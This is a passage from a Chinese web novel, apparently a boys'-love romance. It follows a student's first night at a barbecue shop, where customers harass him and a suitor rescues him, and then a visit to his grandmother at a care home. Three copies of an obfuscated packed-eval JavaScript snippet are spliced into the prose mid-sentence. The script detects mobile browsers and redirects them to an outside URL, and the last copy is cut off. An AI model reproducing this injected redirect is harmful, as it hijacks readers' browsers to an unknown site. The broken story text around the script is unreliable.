“啧,顶着个杂草出街也不嫌丢人。”侯业懒得抬眼,瘪着嘴抱怨道:“都说了别来学校,别来学校,带坏你的师弟师妹怎么办,我一会儿就自己回家吃了,急啥啊急,这一天天的……” “华医生说了,您这毛病一定要按点吃饭,我还特意盘了个店给您做营养餐呢,可不得亲自端过来吗,来来来,我的终极任务就是监视您!” 黄毛将几个叠加的饭盒在办公桌上一一摆开,不忘恭敬递上餐具:“请。” 被安排得明明白白的侯业:“……” “知道我影响食欲,这就走,这就走。” 黄毛依旧是副笑脸,收拾好袋子就往门边去了,不忘带上傻站在一旁的原晢:“侯老师您慢吃,这位小兄弟我也带走了啊,认真吃饭,别分心。” “一定要吃干净啊!”黄毛嘱咐。 “知道了知道了,快滚。”眼看自己的学生被掳走,侯业立刻转个了调朝门外大喊:“原晢,周末回家好好休息,轻松上阵啊。” “……好。”原晢礼貌回话。 “你就是原晢?”黄毛回过头乐道:“呀,真巧,省得我上楼找了!” “走吧,过去吃个饭就开工!” 原晢:“?” “啊哈,刚赶回来送饭,人还傻着,忘了自我介绍。”黄毛朝他礼貌地浅鞠一躬,说:“我是侯清洋,99的新老板,恭喜你被录取为本店的经典串串工。” 侯清洋挑着眉朝办公室示意一眼,无奈道:“亲爹,见笑了。” 原晢翻出静音的手机,才发现那条半小时前刚刚到达的“录取通知”。 “所以……”看着信息里的老板真名注释,原晢小声问:“那年雨水少吗?” “哈哈哈哈哈!没错!”侯清洋大笑,拍着少年的肩说:“被你发现了!小兄弟一看就是被日了,那个算命的也是牛逼,靠着这条街怒赚几套房,现在人都不知道躲哪快活去了哈哈哈!” 被日了…… 原晢礼貌地看着他。 “怎么,我听说你成绩很好啊,尖子生都这么大压力啊?” 侯清洋啧啧有声,立刻以过来人的身份拍胸脯保证道:“有脑子的学生都不会成天泡题海里,天天刷题人都傻了,一点逻辑都捋不顺怎么学?信哥的,有空去谈个恋爱,刺激刺激神经末梢,那效率,嘎嘎的!” “人生完全柳暗花明啊!” 原晢直接立在了原地:“……” 这地方真没一人靠谱啊! “你看你看,长期缺爱的娃娃就是这表情,嘿,怪可怜的咧!”侯清洋坏笑着继续催人往前走:“哎,快走吧,哥哥们都有对象的,不吃小孩,放心吧哈!” “走走,万一咱侯老师吃饱了撑着找人骂,你就走不了咯!” - 侯清洋顶着个博士文凭回来卖烧烤,自然是不受亲爹待见的。 还染了个黄毛,黄中甚至能翻出一点绿,离经叛道直接顶头上了。那身彩色骷髅长T更是暗藏玄机,往上一卷就是几个赤裸纹身印,藏青纹理看起来还非常不纯情…… 这混混十足的模样,估计板正的侯业看到能直接气吐血。穿串工小原默默点评。 但侯清洋也是真的热爱烧烤事业。 原晢一边穿串一边望着烟气缭绕的小店出神。天色已经暗了,申经街迎来了每天最热闹的时刻,侯清洋挂着店内标配黑围裙穿梭在嘈杂的环境中,身上没有半点高学历人群的傲慢姿态,混着孜然气息的爽朗笑声就这样在狭小的空间内无限放大,感染力惊人。 能找到喜欢的东西可真幸福。人,事,物,都可以。原晢想着。 他好像真没什么喜欢的东西。 不是非要出国留学,也不是非要考个状元,只是命运把他推到了某个路口,他就接住副本任务继续走下去罢了。没什么喜不喜欢的。 他就像个没有感情的NPC。 原晢自嘲地笑了一下。 “嘶——” 而后不知道第几次把铁签往自己手心扎…… 没感情也是好的,不然眼前这落差真能叫人抑郁。 以前家里永远有阿姨,整个屋子亮堂堂的,每天睁眼下个楼就有饭吃,中西餐可以几周不重样……这记忆,像是上辈子的生活了。 后来原晢不得不休学一年,开始自己备菜做饭,按点把糊了一锅的不明食材带到医院照顾病床上的老父亲,一边自学遗落的高考课程,一边报警驱赶不停上门的非法讨债者。 可他却在某个清晨发现装病的父亲携款外逃。和被圈养在暗处的情人一起。 那时夏臻独自扛着所有压力,他的任务只是“照顾”原宏涛而已。 他却什么都没看出来。 真是火上浇油。 活了十几年,除了会读点书,成绩单好看点,他全身上下毛线本事都没有……四体不勤五谷不分,原晢觉得自己是真的菜,于是偷吃了一口新鲜出炉的水晶糕。 黑围裙大哥的手艺真不错! 少年连忙朝玻璃后方比了个大拇指。 好在目前这关还有点回旋的余地。 侯清洋估计是携巨款回乡创业,给兼职生开的时薪也很高,原晢每天过来能覆盖不少房费,甚至连饭钱都省下了。 这份兼职难度不大,他的主要任务是在透明橱窗里帮大厨整理食材,偶尔店内忙不过来的时候出去帮着点一下单,结一下账,并没有什么技术含量。打工人表示很满意。 原晢也不需要一天二十四小时都泡在题海里,他刷题只讲效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207340|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率,心情不好的时候干脆直接罢工,所以这份工作和过去半夜出门放风没什么两样,啥也不耽误。 “老板!来个大桌!” 才刚安顿好一波人潮,门外又来了一批新食客。 “来咯!” 侯清洋扯着嗓子朝室内望了一圈。正值周五,烧烤铺的生意一如往常,大堂爆满,茶水告急,端着好几个盘子的侯老板只好把客人请到路边占道位,不忘朝后厨喊支援:“原晢!来帮忙招呼一下!” “好。”原晢朝外应了一声,顺手捎上两壶茶水。 这是他在烧烤铺兼职的第一晚,初印象很重要。 为了保住这份高薪工作,原晢可谓是眼观六路,耳听八方,生怕怠慢了任何一位客人。 却还是在倒茶时被人按住了手背。 “哟,这店不错啊,第一次来就撞上这么水灵的小弟弟。” 侯清洋离开后,原晢便落了单。眼看时机成熟,为首的眼镜男直勾勾地盯着他,吐着烟雾说:“给打个折呗,以后哥天天来点你。” 原晢双手微微一抖:“?” 这人在说什么? 点……啥? 原晢被盯得发怵,只好深吸一口气,抽回右手继续倒茶:“您可以扫这里自助下单。” “哎哟,这多没意思啊,我们大哥就想来点你的嘛。”眼镜男身旁的跟班立刻空了张椅子,顺势往旁边挪了一位,逗狗似的朝原晢招招手:“来来,往这儿站,站近点,不然我们大哥看不见。” 原晢眼睛一闭:呕! 外面的世界果然处处危险! 原晢看了眼倒映在橱窗玻璃上的小白脸,发誓下次出门前要用锅灰把自己糊黑! 他屏住呼吸,扯出一个谦卑笑脸走过去,在一群不断挑逗自己的烟鬼中完成了人生的第一次点单。 然后十分钟内第n+1次被那桌人叫了过去。 “你们这肉牛质量不行啊,纹都黑了,来来,你自己过来看!” 被烟熏得滂臭的小跟班开始在眼镜男的授意下持续找茬,胆子大的更是直接抓上了原晢的围裙带,几张丑脸越凑越近,越凑越近:“一赔三?还是一赔十来着?要不,和你们老板商量一下,把这小脸蛋儿也赔进来吧哈哈哈……” 店内的黑围裙大哥个个都在忙着,目前室外又只有这一桌,原晢连个救援都不好叫。 他也不知道该不该叫。 出来混,这点应变能力还是要有的……钱真是一点都不好赚啊! “给您重新换一盘?”原晢试图和对方商量:“这道菜不收费,就当个见面礼好了,各位大哥吃好喝好……” 恭维话还没说完,原晢就感觉有只脏手正往自己脖颈处靠,连夜风都浸了味儿。 他立刻一个闪身躲开了。 那人的指缝里还带着肉眼可见的黏腻潮湿。 少年冷不防抖了一下。 靠?那是什么?! 好恶心! 好恶心!! 好恶心!!! “小弟弟,跑什么呀,我们大哥又不会吃了你。”这边的跟班立刻把他拦住,一口气将人往眼镜男的方向带,“别着急跑呀,还没说怎么赔偿呢。” “请您放手。”原晢试图挣脱,无果。 “都是男的,怕什么嘛,我们大哥又不搞基,就是想和你交个朋友,不用那么抗拒,来嘛,哎哟这小白脸可真嫩!” “咱哥几个好久都没回这条街了,变化可真的大,这铺子啥时候开的都不知道,你给介绍介绍呗?” “来来,来嘛,过来坐呀!” 一群人还没喝高就犯浑。 起初只是言语上吐点脏字,接着开始偷偷伸个脏手,现在直接把原晢按倒在椅子上不让走了。 完了,这工作保不住了。原晢心想。 眼看刚刚那只脏手就要往他裤/裆里伸,原晢一记重捶把身后人甩开,拿起手边的烟灰缸就往变态头上砸。 哐哐哐几下,当即见了血。 “没完了啊!草!” 原晢怒吼着把烟灰缸往前一甩,也管不了什么命中率了,拿起桌上的大叉大勺就准备干仗。 四周瞬间静了下来。 一群恶臭跟班并没有直接扑上来,倒是为首的眼镜男意外起身,莫名地朝他拍手称赞。 “小身板柔柔弱弱的,没想到劲儿这么大呢。” 看着自己的狗被砸坏,眼镜男倒是不怎么恼,只是一脸不屑地把倒地狗往旁边踢,直接怼上脸和原晢说:“不错,挺有骨气,真是和你男人一模一样。” 原晢:“???” 7. 反抗 反派死于前戏多。 眼镜男清了清嗓子,装腔作势退回自己的主位,在几位跟班的伺候下逆风点燃一支烟,准备进行新一轮深刻发言。 “哥打听了一圈,这附近就你这么个生面孔,错不了。” 眼镜男笑容猥琐,平翘不分:“原则是吧,这名字起得真有意思,像模像样的,和你们家臭屎真是一个味道啊哈哈哈……” “你男人那么有钱,怎么还放你一个人在这破地打工啊?” “哎哟,瞧瞧这细皮嫩肉的小脸,都快被油烟浸透了,他舍得,哥可舍不得啊。”眼镜男数了数手指头,叼着烟道:“这累死累活干一晚你才拿多少,别折腾了,哥出双倍怎么样?” “三倍也行,好说,好说。” “开个价呗小弟弟,今晚跟哥走,保证你……操?” “我操!” 嘴里的烟都来不及吐,眼镜男就被两桶从天而降的热乎泡面“唰啦”淋了一身。油腻使他睁不开眼,不得不像只溺水狗似的疯狂甩毛,嘴里振振有词问候苍天。 尽管眼镜男用尽全力挥舞双臂,可那装逼的细框镜还是多了不少菜干配色,眼尖的小跟班立刻撒腿找抹布去了。 “我操他妈的!谁他妈敢动老子……”眼镜男环顾四周,刚想起身就被人从身后按住了。 “你大爷。”那个姓裘的说。 那个姓裘的就是这么出现的。 泡面可能来自烧烤铺二层平台,也可能来自周边的其他建筑,原晢没有看清。他只知道那个姓裘的嘴里还叼着泡面叉子,不忘帮眼镜男将头顶的配菜搅拌均匀,顺手将餐具也送上了。 “吃,不用客气。”那个姓裘的说。 双方似乎还在对峙,又似乎到了大战一触即发的时刻。 原晢根本来不及思考。 只见那个姓裘的朝他摆了个wink,抬脚一掀桌,在混乱中抓起他就跑。 夜风在耳边呼啸而过,身后是一阵极其猛烈的撞击,下三滥的诅咒叫骂层出不穷。 主要在骂裘爷和他老婆。 谁是那个老婆?原晢暂时没有答案。 两人沿着申经街一路狂奔,在锅碗瓢盆的碰撞声中躲闪前进,低头穿过大大小小的路边摊,直到躲进拐角药房才终于得以喘口气。 奇怪的是,眼镜男并没有追上来。 “谁是你老,老……什么?”原晢抽回手,气喘吁吁地问。 裘时没有回答,只是直勾勾地看着他,笑了。 “你再到处乱说我是你……你,什么,试试?”原晢一把操起货架上的药酒,边喘边怼人:“我弄死你,呼!” 攻击力为零。 “不喜欢?”裘时低笑着直起身,搓了一手眼前的顺毛,温声道:“好,那就不公开。” 原晢还在喘:“???” “哥哥,成婚前先处理一下伤口。”裘时依旧握住原晢的手,坏笑着将他的掌心摊开,指着指关节上几条微弱的红痕说:“你受伤了。” 原晢低头一瞅,这好像是……刚刚穿串扎的? 他依旧在喘:“呼,这是……不,这不是……” 有够丢人的! “不是,你有没有在听我说话,娃娃亲就是个乐子,你别当真啊!”原晢着急辩解,他可不想让这桩莫名其妙的婚约闹得人尽皆知。他要脸。 “喂,现在到底还有谁知道这茬!”原晢紧跟在裘时身后问。 看今晚这架势,那个眼镜男八成已经猜透了。 所以那人是谁? 他为什么会懂得这些陈年烂瓜?还特意大张旗鼓上门来确认一番? 为了羞辱他?还是为了把这个姓裘的钓出来? “到底还有谁知道!”原晢逐渐变得暴躁。 自从遇到这个姓裘的,他已经和淡然两个字渐行渐远了。 “到底还有谁!”原晢气鼓鼓地站在原地,说什么都不动了。 “没有谁。”裘时回头笑了笑,抓起他继续找碘伏,耐心说:“如果哥哥不想公开,就不会有任何人知道。” “不会有任何人知道。”裘时重复。 原晢才在心里松了口气,这人就突然话锋一转:“先消毒,伤口肿了可没法戴戒指呀,哥哥。” 戒指?原晢怒目圆睁。 什么狗屁戒指? 这不还是要公开的意思吗! “不是?”原晢被拽着往前走,正面迎击他也骂不过,破罐破摔的脑袋霎时灵光一闪:“那凭什么我是那啥啊!” “我还比你早几天呢,我是你哥,要娶也是我娶,你就等着嫁吧!” 裘时顿了一秒,忍不住笑道:“哥哥穷,付不起聘礼,还是由我来操劳吧。” 原晢一时语塞:“……” 靠! 有钱了不起啊! “我也有钱。”原晢据理力争。 “哦?”裘时看了眼碘伏棉签和创可贴的标价,掐指一算:“九块九,扫码还是现金?” “扫……”原晢碰了碰黑围裙下的干瘪口袋,所有气势都瞬时消了音。 此刻的他不仅没有手机,更没有现金。而那盒碘伏棉棒已经被这个姓裘的果断拆开,折断,并用在了他的指关节上。 店员小姐姐就站在一旁微笑地看着他们。 呵,赶鸭子上架者,不得好死。 “一共九块三。”原晢努努嘴,纠正了某人的心算结果。 “我喜欢付九块九。”这个姓裘的说。 “哦,那你付。”原晢假装不经意地说。 话音未落,原晢就看到了店员小姐姐忍不住上翘的嘴角。当然了,面前这个姓裘的笑得更是夸张。 “笑屁啊!” 等店员小姐姐离开后,原晢终于忍不住给了裘某一拳。 “咳咳,先说正事……桌子都被掀了,老板要赔偿怎么办?第一天上班就来这出,你知道那桌菜多少钱吗,那群傻逼点了一桌子硬菜,都还没开始吃就被你掀没了,他们肯定是不认的,你是真想穷死我……”原晢倒打一耙,最后这半句声音比蚊子还小:“都怪你。” “嗯,这样好娶。”裘时笑。 “……你闭嘴!”生怕被闲杂人等听了去,原晢决定放弃和这个姓裘的沟通,抓起药盒子说:“放手,我自己涂!” “很缺钱?”裘时没给他上手的机会。 “废话。”原晢手势依旧抗拒,愤愤不平道:“家里唯一的老房子都卖了,这地方马上就要拆迁了,要不是没钱谁会在这节骨眼卖房,简直血亏。” “我养你。”裘时说。 “……你,你养个屁!”原晢瞪着双眼,努力控制因碘伏刺激而略微颤抖的指尖,生怕自己输了气势。 “不着急答复,可以多考虑一下的,哥哥。”裘时根本没打算收嘴角。擦拭过碘伏后,他便将手中的创可贴规规矩矩地贴到原晢被划伤的指关节上。左手无名指。 顺便给他自己也来了一张。 “对戒。”裘时抬手示意。 原晢再度语塞:“……”这人有毛病吧? 所以戒指是这个意思? 真是吓死他了! 这个姓裘的果然有大病! 原晢决定不和大病患者绕圈。他清了清嗓子,直奔主题:“所以那伙人你认识是吗,看着双方挺熟啊,裘爷?” “所以是冲你来的?” “既然如此,那烧烤铺的赔偿,追本溯源,这位爷就担着了啊!” 裘时摇了摇头,抿唇道:“不是。” 原晢:“嗯?” “是冲你来的。”裘时眨着无辜的大眼,愉悦一笑:“哥哥,那是你的情敌。” 原晢:“……” 我呸! 但……好像是有这么回事? 狗腿小孙之前就和他提过,过去有个二流子在追他们裘爷来着,穷追不舍,屡教不改,好像还被这个姓裘的打到住院了? 所以?是因为娃娃亲的消息不胫而走,让那人感受到了前所未有的危机? 然后卷土重来?? 冲着他这个假对象??? …… 不胫个屁! 那消息分明就是被某瘟神放出去的! 某个姓裘的恨不得全世界都知道他俩有桩娃娃亲! 呸!什么狗屁娃娃亲! “所以,那人对你追穷不舍?”原晢试图和当事人确认:“那个眼镜男?” 裘时得意点头:“嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207341|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原晢盯着眼前被风吹乱的一头蓝紫长毛,实在看不下去,直接上手给他捣烂了。 那个眼镜男看起来斯斯文文像个人,没染毛,没耳钉,没纹身,只要不开口说话,他还真不知道这俩人到底谁更不入流……“我退出,你就从了他吧。” 原晢斜眼道:“天生一对!” - 尽管裘时再三保证侯清洋的战斗力,原晢依旧不放心店里的情况,在药店缓了几分钟就匆忙往回赶。 烧烤铺门前异常冷清,桌椅也歪了一地。 随着一声接一声的吃痛呜咽,刚刚还在牛逼叫嚣的恶臭跟班们都在地上七扭八歪躺着,能爬的早就不见了踪影。 侯清洋举着把大刀慢悠悠地晃到被按住的眼镜男跟前,定睛一看:“哟,去哪儿整成这样了,你侯哥想了一晚上,还真是没认出来啊!” 眼镜男被几位黑围裙大哥按着,在地上随口哼唧了几句,不成人话。 侯清洋懒得计较,直接在树根下碎了一瓶酒,挑了块大刺片抵住眼镜男脖子根,接着在左侧比划比划,又在右侧比划比划,似乎在思考怎么割才顺手。 眼镜男直接被吓尿了,什么话都说不利索,只是一个劲儿地激动求饶。 侯清洋摇了摇头,叹息道:“店内的黑名单得更新了,什么破系统,扫半天都没扫出来,现在盘个店多不容易呀,你侯哥就等着这种送上门的优惠券呢,这人叫陈……陈?陈什么来着?” “陈什么来着?” 裘时冷笑着上前,丢了一袋子备用药在眼镜男脸上,屈身下蹲问:“怎么,这才安分一年又出来瞎逛了,是准备明年继续蹲医院呢,还是继续复读?” “误会,误会误会。”眼镜男的脖子根还被碎玻璃抵着,自然不敢轻举妄动。 只见他小心翼翼吐了口泥,撩起眼皮朝各位赔笑道:“这不是听说裘爷老婆回来了,兄弟几个赶着过来见见嘛,这么多年的交情,总得认一下脸啊,万一以后误伤了怎么办……哎,哎哎哎,两位大哥手轻点!这铺子!这铺子还有我的一份呢,我也是有继承权的好不啦……哎哟哟,轻点轻点!” 侯清洋嫌弃地用手转了转那副没有镜片的细框架,直接给眼镜男把道具卸了下来。 “啧,搁这儿装什么文化人,害你侯哥呼个巴掌都不顺畅。” “这位大哥,客气点,你新来的吧,知道我谁吗?” 没了道具的眼镜男略微有些恼火,可明显处于弱势的他根本无力扭转战局,只能在地上来回蠕动一番,试图狡辩:“我和你们裘爷关系可不一般啊,我陈……嗷嗷嗷……我擦!操!你们什么黑店啊下手这么狠!” 侯清洋连大名都不给他念完,把细框镜随手一甩,说:“管你是谁,给你侯哥结完账再走。” “哎哟,哎哟哟……这条街的人怎么对顾客都这态度,怪不得家家倒闭呢。”眼镜男痛苦地趴在地上,索性破罐破摔,碎嘴皮子动个不停:“你们这群兄弟情深的,不都是用钱堆出来的吗,有意思吗,可不可笑?” “要我也有钱,岂不就天天来跪我了?” “哎哟,这一个两个的,长点心吧……都还不知道吧?你们这位大名鼎鼎的裘爷呀,大概是不喜欢女人的……” 侯清洋眉毛半挑:“所以呢?” “你侯哥又不瞎,他俩不是站一块儿了吗?”侯清洋示意黑围裙大哥直接堵嘴,转过身和裘时说:“带你对象先回去吧,这边哥解决,懒得和他废话了,不给钱就报警处理,记得按合约免铺子三个月租金啊。” “行。”裘时原地蹭了蹭鞋底,一脚把那副细框镜送到了马路对面,“辛苦了侯哥。” “没事儿,我还乐意这货天天来呢,能给咱小店省多少房租啊哈哈哈……”侯清洋拿着结账单大笑,直接把不同款式的收款码怼到了眼镜男脸上,随他挑选:“蓝的花的绿的,扫一个?” 傻愣在一旁的原晢还没完全搞清楚状况,那个姓裘的就朝他伸出了手。 “走吧。”那个姓裘的说,“时间不早了。” “我们回家。” 在别人地盘不好发声只能死命瞪眼的原某:谁是你对象? 谁是你对象! 你说清楚! 说清楚!!! 8. 漫画 原晢终于反应过来——99烧烤铺整个店面都在那个姓裘的名下。 不止烧烤铺,对面的咖啡吧,街头的理发店,暗黑的拳击馆,唯一的大药房……整条申经街都属于那个姓裘的! 听说裘老爷子当年一口气盘了几块地,风水布局商业规划都请了高人指点,又乘上了经济迅猛发展的东风,可谓是备受瞩目,风光一时。可叛逆的不孝子实在扶不起,裘家的产业根本撑不过两代人,临终前他便将余下的不动产全数转到了亲孙名下——裘时从五岁起就成了百万富翁包租公。 这人心情一好就喜欢给商家免租,折扣打得邦邦响,没有店家不喜欢这样出手阔绰肆意挥霍的财神爷。 在申经街上,那个姓裘的属于稳稳的地主阶级。俗称他大爷。 凝聚力极强,战斗力爆表。 一般人打不过。 打不过…… 原晢揉了揉眼,把手机往枕边一甩,准备趁难得的周末睡个回笼觉,养足精力再出发去康养中心探望夏老师。 楼下那位是真财神爷…… 怪不得侯清洋说他们家的娃娃亲来得妙…… 妙个屁…… 到底还有谁知道这桩封建糟粕…… 原晢刚把眼睛闭上,那梦魇般的婚礼进行曲就幽幽传了上来。 节奏愈发清晰。 “靠。” 枕边的手机也跟着震了两声。 裘时:哥哥,今天一起去看外婆吗? 裘时:(乖巧.jpg) 原晢:“……” 他和夏臻都还一板一眼地将老太太称呼为“夏老师”,这人倒是叫得亲切……那到底是谁外婆? 原晢有一种被偷家的感觉。 他索性无视楼下的消息,洗漱一番就冲出了家门。 他要离那个姓裘的远一点! - 老人家普遍醒得早,头顶的太阳才刚刚有些温度,康养中心的一群老太太早就披着小毯子在花园放风了。 “听说了吗,今天要新来一个精神不正常的,就住咱这层呢,以后出门得当心点,屋里的东西都锁好才行。”一老太太念叨着。 “已经到了,我刚下楼的时候看到家属正在办手续呢,怪年轻的,听说儿子才刚上大学,不知道怎么的就住进来了。”又一老太太说。 “是个可怜人,听说她老公不正常,刚结婚那年就和别的男人跑了。” “男人?男的和男的?哎哟,现在的人可真了不得!” “是啊,结果报应来太快,婚还没离成就出车祸走了,剩她自己拉扯个儿子,苦了好多年。现在儿子好不容易上大学了,发现和他爸一样,受不了,啧……疯了。” “哎,这也是没办法,遗传的吧?” “那肯定,我刚见着她儿子了,看着就不太利索,说话也细声细气的,还戴着个眼镜,哎反正就是那个味儿……这不,儿子也不想管了,直接丢这边让人照顾着,可怜哟……” 夏老师向来不喜欢嘴碎,只是抱着一本书在人群角落里晒太阳,颇有种岁月静好的错觉。 原晢就坐在一旁帮忙剥花生,留一颗吃三颗,壳子都堆成小小一摞了,碗里的花生粒才只有薄薄一层。不是他不懂得孝敬老太太,只是刚刚为了躲瘟神没来得及吃早饭,实在是饿得慌。 原晢(嚼嚼嚼):“夏老师,给。” 他从小和外婆不算亲近,因为夏老师很凶。 为什么要喊夏老师呢? 因为老太太不喜欢那些代表着亲疏远近的称呼。不喜套近乎,不喜自来熟。在活人面前,她只接受“夏老师”这个身份,连对亲女儿夏臻也不例外。 或许是隔代遗传了,自己骨子里就流着这类无法与旁人亲近的血液。原晢想着。 夏老师是一个极其强势的人,从主导孙辈名字这件事就可以略窥一二。 原晢从幼儿园开始就苦于谐音梗,三番五次求亲妈给他改名,每次都被老太太以那四位数的开光费压回去了。 还不如直接叫夏晢呢,原晢叹笑。 当年原宏涛执意要离开临安北上创业,或许也是急于摆脱自己乡村赘婿的身份吧。连婚房都是老太太赞助的,自己亲儿子也差点不姓原,原宏涛骨子里那点大男子主义怎么受得了,可不得急功近利拼出一番辉煌事业来。 只可惜,许了一个光明未来,留下一堆肮脏污秽。 不得不说,夏老师看人还挺准的。 他那个爹就不是什么好东西。 原晢又往嘴里塞了不少花生粒,对眼前这位要求他刚会走路就要熟背乘法表的数学老教师默默深鞠一躬。 他小时候没少挨骂,因为老背岔行。 和那个姓裘的“三三得六”有得一拼。 夏老师一辈子不求人,腿脚出问题后便自己联系了康养中心,工资卡一刷,高高兴兴搬了进来。 与其他略显抗拒的老年人不同,夏老师适应能力极强,甚至混成了非正式楼管,每天遥着轮椅打头阵,带领能动的老头老太们做操遛弯,脑子比年轻人还清醒。 非常清醒。 夏老师的精神头依旧强大,这不,枯燥乏味的教育文献都看得津津有味。 “慢点吃,没人和你抢。”注意到落在自己身上的目光,老太太略显嫌弃地瞅了亲孙一眼,把近期收到的一袋子精品花生往外推了推。 “今天不上课么,怎么这么早就过来了?”老太太问。 “补课是周日,今天周六,休息。”原晢再次将碗里的花生粒递出去,见老太太摆手,他又毫不客气地收了回来,随口问道:“夏老师,您在看什么?” “没什么,教育部下发的新书单。” “喔。” 在收回奶白花生的间隙,原晢顺势伸了个腰,惯性驱使他往老太太那边看了一眼。 只一眼,他就瞟到了暗藏在黑白版面中的彩色画册。 有鬼? “什么新书单,有合适的考试材料推荐吗?”原晢自说自话,偷摸撑着白净的小脖子往前一探,逮个正着。 “哎哎哎,这孩子怎么没大没小的,偷看什么呢!” 老太太赶紧合上手里的大书,可里面的小册子却因用力过度不慎滑落,“哗啦”一声径直砸向了地面。 “……” “……” 封面上赫然画着两个正在接吻的男生,不忘衬上一串译制版粉红大字——被哥哥强吻的那些年。 是一本典藏册日漫。 不知道这书是从哪个犄角旮旯偷渡到康养中心的,看起来既不健康也不养生,封面左上角还带有加粗版“多肉”认证。 多肉是什么?不知道,但肯定不是某种植物。 人民教师的庄重形象轰然倒塌。 “……”原晢一拍脑袋,捡起画册小声问:“夏老师,这是谁给你的?” 老太太端庄否认:“不是我的。” “诶?”原晢心领神会地点了点头,假装迈步:“那我和值班人员说一声,放到前台招领处好了,看起来蛮贵重的,失主肯定着急。” “阿西……快,快还来!”老太太眉头一皱,当即发了飙:“这书老贵了,你爱护着点,刚剥花生还没洗手呢!” “谁送来的?”原晢将手里漫画举过头顶,一副追根问底的模样。 老人家的视力大多不如从前,平时看看手机都嫌费劲,收音机才是康养中心的主流产品,那间小小的阅览室里绝对藏不起这么贵重的装订本。甚至还涉嫌违禁。 其中一定有诈。 “嘘,小声点,别人都知道了!”老太太压低了声音,不忘拿起披风围住脸面,一副此地无银三百两的模样。“嘘!” “不是……夏老师,您还怕别人知道啊?”原晢哭笑不得。 “你这没小良心的,现在住的是谁的房子,要不是有我,你和你妈都要睡大街!”老太太瞪着眼睛,咬牙切齿道:“拿来,赶紧的,不然我就大喊虐待老人了!” “……给您,给您。”原晢恭敬地把画册送回去,免不了双手一摊。 这老太太怎么越老越无赖了? “死小鬼,不就是男男之爱嘛,有什么值得大惊小怪的。”老太太低头整理着画册,忍不住张口埋怨道:“小时候还总嚷嚷着要当0呢,多可爱啊,现在怎么长成这样了?啧!” 原晢:“……” 关于幼时的丑闻,他简直百口莫辩:“……我,我没有。” “还没有?我还没痴呆到那程度,你是看我那些年的病友都死光了没人知道是吧?” 眼看好几双眼睛都往这边移来,老太太微笑着一一回应,嘴巴却漏了条缝阴阳怪气道:“这有啥好奇怪的,这叫纯爱,纯爱,boys’ love!从你杨奶奶书架上拿的,这老杨,好东西藏了多少年了,人都走了也不告诉我一声,白瞎过去几十年的交情……” 原晢:“……” 果然,是一种不好的预感。 “还是小裘怕我闷才挑了几本带过来,这情节可刺激了,你要不也补一补?”老太太试图邀请,下一秒就作废:“哎,算了算了,你这缺根筋的啥也看不懂,身上的好基因都被你那个出轨爹拉垮了,罢了罢了,快回家搞五三去吧,周末有空多刷几套卷子,赶紧把落下的功课补回来,别成天来这儿瞎晃……” 原晢:“……” 果然,姓裘的就是个祸害! “都怪原宏涛,都说了别去什么外文高中,就好好走高考这条路多好,你妈当年随随便便就考了个985,哪来这么多破事儿!”老太太还在持续嘟囔着:“他要真有本事啊,就供你供到博士毕业,这才嘚瑟了几年就废,现在好了,绕了一圈又回来了,从头学不累死才怪!” 原晢迟疑着点了一下头:“……还,还好。” 夏臻说过,老太太的这类埋怨可以理解成一种关心。就是凶了点。 “哎,夏臻真是瞎了眼,找了个什么狗东西。”老太太继续用大书册包住小漫画,随口提了一嘴:“你以前不也喜欢画画吗,怎么,你那亲爹说没前途不给画,你就不画了?” 原晢突然不知道怎么接:“……” 那差不多是十年前的事情了吧?他那点有关绘画的零星兴致早就消失殆尽了。 但既然夏老师对他曾经的爱好表示了关心,礼尚往来,他也应该关心一下夏老师的新爱好。 看着漫画夹角上的序列号,原晢试图重新当个合口味的乖孙:“杨奶奶家里有全套书吗,其他册要不要我帮您找找?” “不用不用,小裘都给我安排好了,你就别操这个心了。”老太太说,“这漫画都还没完结咧,我这身子骨,十年八年的肯定能活,不着急啊。” “行,您需要再联系我。”原晢说。 “不过,怎么今天就你一个?小裘昨晚也说要来,你怎么不等人就自己过来了……”老太太突然眼前一亮,立刻朝花园的另一端挥动双手:“哎呀,真是说曹操曹操到,小裘,这儿!” 原晢跟着老太太的视线望过去——那个姓裘的在哪? 就这么几步路的间隙,老太太不忘回头朝亲孙呵斥一声:“就住楼上楼下的,怎么都不知道等等人家,你还是做哥哥的呢,不像话!” 原晢无奈道:“……下,下次。” “是我起晚了,没好意思让哥哥等。” 那个姓裘的抖着一头清爽毛刺短发出现时,原晢愣了好一会儿才认出人。 “怎么?上次那个帅头没有了吗,蓝紫色的,可帅气了!”老太太满脸都写着惋惜,突然又翻了翻漫画,恍然大悟道:“哦对,对对对,这里也染回来了,染回来了!” “啊呀,我们小裘这样更帅了!” 原晢:“……” 几个意思?还要和漫画主角保持一致? 这人哄老太可真有一手! “开学了,不好继续顶着一头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 